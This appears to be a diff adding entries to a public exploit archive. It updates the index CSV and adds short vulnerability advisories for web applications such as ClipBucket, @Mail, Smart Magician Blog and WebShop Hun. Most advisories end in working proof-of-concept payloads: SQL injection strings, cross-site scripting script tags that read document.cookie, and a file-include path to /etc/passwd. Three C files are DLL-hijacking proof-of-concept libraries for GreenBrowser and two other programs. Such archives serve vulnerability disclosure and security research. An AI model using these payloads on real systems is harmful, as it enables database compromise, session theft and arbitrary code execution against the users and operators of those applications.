Updated 09_20_2014

files.csv

@@ -31230,3 +31230,18 @@ id,file,description,date,author,platform,type,port
 34684,platforms/php/webapps/34684.pl,"Joomla Spain Component 'nv' Parameter SQL Injection Vulnerability",2010-09-20,FL0RiX,php,webapps,0
 34685,platforms/windows/remote/34685.py,"Basic Web Server 1.0 Directory Traversal and Denial of Service Vulnerabilities",2010-09-19,"John Leitch",windows,remote,0
 34686,platforms/windows/remote/34686.txt,"YelloSoft Pinky 1.0 Directory Traversal Vulnerability",2010-09-16,"John Leitch",windows,remote,0
+34687,platforms/asp/webapps/34687.txt,"Smart ASP Survey 'catid' SQL Injection Vulnerability",2009-08-27,Moudi,asp,webapps,0
+34688,platforms/php/webapps/34688.txt,"Basilic 1.5.13 'index.php' Cross Site Scripting Vulnerability",2009-07-27,PLATEN,php,webapps,0
+34689,platforms/php/webapps/34689.txt,"Smart Magician Blog 1.0 Multiple SQL Injection Vulnerabilities",2009-08-27,Evil-Cod3r,php,webapps,0
+34690,platforms/php/webapps/34690.txt,"@Mail <= 6.1.9 'MailType' Parameter Cross Site Scripting Vulnerability",2010-09-21,"Vicente Aguilera Diaz",php,webapps,0
+34691,platforms/multiple/remote/34691.txt,"CollabNet Subversion Edge Log Parser HTML Injection Vulnerability",2010-09-21,"Sumit Kumar Soni",multiple,remote,0
+34692,platforms/php/webapps/34692.txt,"WebAsyst Shop-Script PREMIUM 'searchstring' Parameter Cross Site Scripting Vulnerability",2009-07-27,u.f.,php,webapps,0
+34693,platforms/php/webapps/34693.txt,"Free Arcade Script 1.0 'search' Field Cross Site Scripting Vulnerability",2009-08-27,"599eme Man",php,webapps,0
+34694,platforms/php/webapps/34694.txt,"ClipBucket 1.7.1 Multiple SQL Injection Vulnerabilities",2009-07-24,Qabandi,php,webapps,0
+34695,platforms/windows/remote/34695.c,"GreenBrowser 'RSRC32.DLL' DLL Loading Arbitrary Code Execution Vulnerability",2010-09-22,anT!-Tr0J4n,windows,remote,0
+34696,platforms/windows/remote/34696.c,"Easy Office Recovery 'dwmapi.dll' DLL Loading Arbitrary Code Execution Vulnerability",2010-09-22,anT!-Tr0J4n,windows,remote,0
+34697,platforms/windows/remote/34697.c,"Sothink SWF Decompiler 'dwmapi.dll' DLL Loading Arbitrary Code Execution Vulnerability",2010-09-22,anT!-Tr0J4n,windows,remote,0
+34699,platforms/php/webapps/34699.txt,"OpenText LiveLink 9.7.1 Multiple Cross Site Scripting Vulnerabilities",2010-09-23,"Alejandro Ramos",php,webapps,0
+34700,platforms/php/webapps/34700.txt,"WebShop Hun 1.062s 'index.php' Local File Include and Cross Site Scripting Vulnerabilities",2009-07-24,u.f.,php,webapps,0
+34701,platforms/php/webapps/34701.txt,"SkaLinks 1.5 'cat' Parameter Multiple Cross Site Scripting Vulnerabilities",2009-07-24,Moudi,php,webapps,0
+34702,platforms/php/webapps/34702.txt,"TurnkeySetup Net Marketing 6.0 'faqs.php' Cross Site Scripting Vulnerability",2009-07-24,Moudi,php,webapps,0

platforms/asp/webapps/34687.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/43370/info
+
+Smart ASP Survey is prone to a SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting the vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+http://www.example.com/poll/showresult.asp?catid=[sqli] 

platforms/multiple/remote/34691.txt

@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/43378/info
+
+CollabNet Subversion Edge is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
+
+Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
+
+CollabNet Subversion Edge 1.2.0 is vulnerable; other versions may also be affected. 
+
+The following example request is available:
+GET /csvn/login</pre><script>alert('pwndd!!!!');</script> HTTP/1.0 

platforms/php/webapps/34688.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/43372/info
+
+Basilic is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Basilic 1.5.13 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/publications/index.php?author=1<iframe/+/onload=alert(5555555)>

platforms/php/webapps/34689.txt

@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/43376/info
+
+Smart Magician Blog is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Smart Magician Blog 1.0 is vulnerable; other versions may be affected.
+
+http://www.example.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4,5,6,7,8,9,10,11,12,13--
+
+The following data is available:
+
+admin First : 'or 1=1 or ' & or & 'or 1=1/* 

platforms/php/webapps/34690.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/43377/info
+
+@Mail is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary JavaScript code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+@Mail 6.1.9 is vulnerable; prior versions may also be affected.
+
+http://www.example.com/index.php/mail/auth/processlogin?emailName=<emailName>&emailDomain=<emailDomain>&cssStyle=original&email=<email>password=<password>&requestedServer=&MailType=<script>alert(document.cookie);</script>

platforms/php/webapps/34692.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/43380/info
+
+Shop-Script PREMIUM is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+Shop-Script PREMIUM is vulnerable; other versions may be affected. 
+
+http://www.example.com/index.php?searchstring=1>&#039;><ScRiPt%20%0a%0d>alert(400760821437)%3B</ScRiPt>

platforms/php/webapps/34693.txt

@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/43382/info
+
+Free Arcade Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 
+
+http://www.example.com/search/ in input search : &#039;"><script>alert(String.fromCharCode(88,83,83))</script>

platforms/php/webapps/34694.txt

@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/43383/info
+
+ClipBucket is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+ClipBucket 1.7.1 is vulnerable; other versions may be affected.
+
+
+The following example data is available:
+
+userid=q' or 1='1
+username=q' or 1='1
+session=q' or 1='1 

platforms/php/webapps/34699.txt

@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/43420/info
+
+OpenText LiveLink is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+OpenText LiveLink 9.7.1 is vulnerable; other versions may also be affected. 
+
+https://www.example.com/livelink/livelink?func=ll&objId=514&objAction=browse&viewType=aa">[XSS]
+
+https://www.example.com/livelinkdav/nodes/OOB_DAVWindow.html?func=oobget&nodeid=514&support=/livelinksupport/&setctx=');[XSS]
+
+https://www.example.com/livelink/livelink?func=ll&objid=1&objAction=browse&sort=[XSS] 

platforms/php/webapps/34700.txt

@@ -0,0 +1,13 @@
+source: http://www.securityfocus.com/bid/43429/info
+
+WebShop Hun is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
+
+The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
+
+WebShop Hun 1.062s is vulnerable; other versions may also be affected.
+
+http://www.example.com/index.php?param=1&nyelv_id=4&mappa=../../../../../../../etc/passwd%00
+
+http://www.example.com/index.php?param=1&lap=<script>alert(document.cookie)</script>&bejelentkezes=nincs

platforms/php/webapps/34701.txt

@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/43430/info
+
+SkaLinks is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+
+SkaLinks 1.5 is vulnerable; other versions may also be affected.
+
+http://www.example.com/dir/add_cat.php?cat=1>&#039;><ScRiPt %0A%0D>alert(308857346746)%3B</ScRiPt>
+http://www.example.com/dir/add_url.php?cat=1>&#039;><ScRiPt %0A%0D>alert(317287773544)%3B</ScRiPt>
+
+

platforms/php/webapps/34702.txt

@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/43435/info
+
+Net Marketing is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
+
+TurnkeySetup Net Marketing 6.0 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/demos/net_marketing/faqs.php?cat="><script>alert(document.cookie);</script>

platforms/windows/remote/34695.c

@@ -0,0 +1,46 @@
+source: http://www.securityfocus.com/bid/43414/info
+
+GreenBrowser is prone to a vulnerability that lets attackers execute arbitrary code.
+
+An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 
+
+/*
+#GreenBrowser DLL Hijacking Exploit (RSRC32.DLL)
+#Author : anT!-Tr0J4n
+#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ ,All Dev-poinT members and my friends
+#contact: D3v-PoinT@hotmail.com & C1EH@Hotmail.com
+# Software Link:http://www.morequick.com/indexen.htm
+#Tested on: Windows XP sp3
+#how to use :
+   Complile and rename to RSRC32.DLL. Place it in the same dir  Execute to check the
+  result > Hack3d 
+
+
+
+ 
+#RSRC32.dll (code)
+*/
+ 
+#include "stdafx.h"
+ 
+void init() {
+MessageBox(NULL,"anT!-Tr0J4n", "own33d",0x00000003);
+}
+ 
+ 
+BOOL APIENTRY DllMain( HANDLE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+ )
+{
+    switch (ul_reason_for_call)
+{
+case DLL_PROCESS_ATTACH:
+ init();break;
+case DLL_THREAD_ATTACH:
+case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+break;
+    }
+    return TRUE;
+}

platforms/windows/remote/34696.c

@@ -0,0 +1,46 @@
+source: http://www.securityfocus.com/bid/43416/info
+
+Easy Office Recovery is prone to a vulnerability that lets attackers execute arbitrary code.
+
+An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 
+
+/*
+#SEasyOfficeRecovery DLL Hijacking Exploit (dwmapi.dll)
+#Author : anT!-Tr0J4n
+#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ AHMeD ALAMRi ~,All Dev-poinT members and my friends
+#Email   : D3v-PoinT@hotmail.com & C1EH@Hotmail.com
+# Software Link:http://www.munsoft.com/downloads
+#Tested on: Windows XP sp3
+#how to use :
+   Complile and rename to dwmapi.dll. Place it in the same dir  Execute to check the
+  result > Hack3d 
+
+
+
+ 
+#dwmapi.dll (code)
+*/
+ 
+#include "stdafx.h"
+ 
+void init() {
+MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
+}
+ 
+ 
+BOOL APIENTRY DllMain( HANDLE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+ )
+{
+    switch (ul_reason_for_call)
+{
+case DLL_PROCESS_ATTACH:
+ init();break;
+case DLL_THREAD_ATTACH:
+case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+break;
+    }
+    return TRUE;
+}

platforms/windows/remote/34697.c

@@ -0,0 +1,46 @@
+source:  http://www.securityfocus.com/bid/43417/info
+
+Sothink SWF Decompiler is prone to a vulnerability that lets attackers execute arbitrary code.
+
+An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 
+
+/*
+#Sothink SWF Decompiler DLL Hijacking Exploit (dwmapi.dll)
+#Author : anT!-Tr0J4n
+#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~,All Dev-poinT members and my friends
+#Email   : D3v-PoinT@hotmail.com & C1EH@Hotmail.com
+# Software Link:http://www.sothink.com/
+#Tested on: Windows XP sp3
+#how to use :
+   Complile and rename to dwmapi.dll. Place it in the same dir  Execute to check the
+  result > Hack3d 
+
+
+
+ 
+#dwmapi.dll (code)
+*/
+ 
+#include "stdafx.h"
+ 
+void init() {
+MessageBox(NULL,"anT!-Tr0J4n", "Hack3d",0x00000003);
+}
+ 
+ 
+BOOL APIENTRY DllMain( HANDLE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+ )
+{
+    switch (ul_reason_for_call)
+{
+case DLL_PROCESS_ATTACH:
+ init();break;
+case DLL_THREAD_ATTACH:
+case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+break;
+    }
+    return TRUE;
+}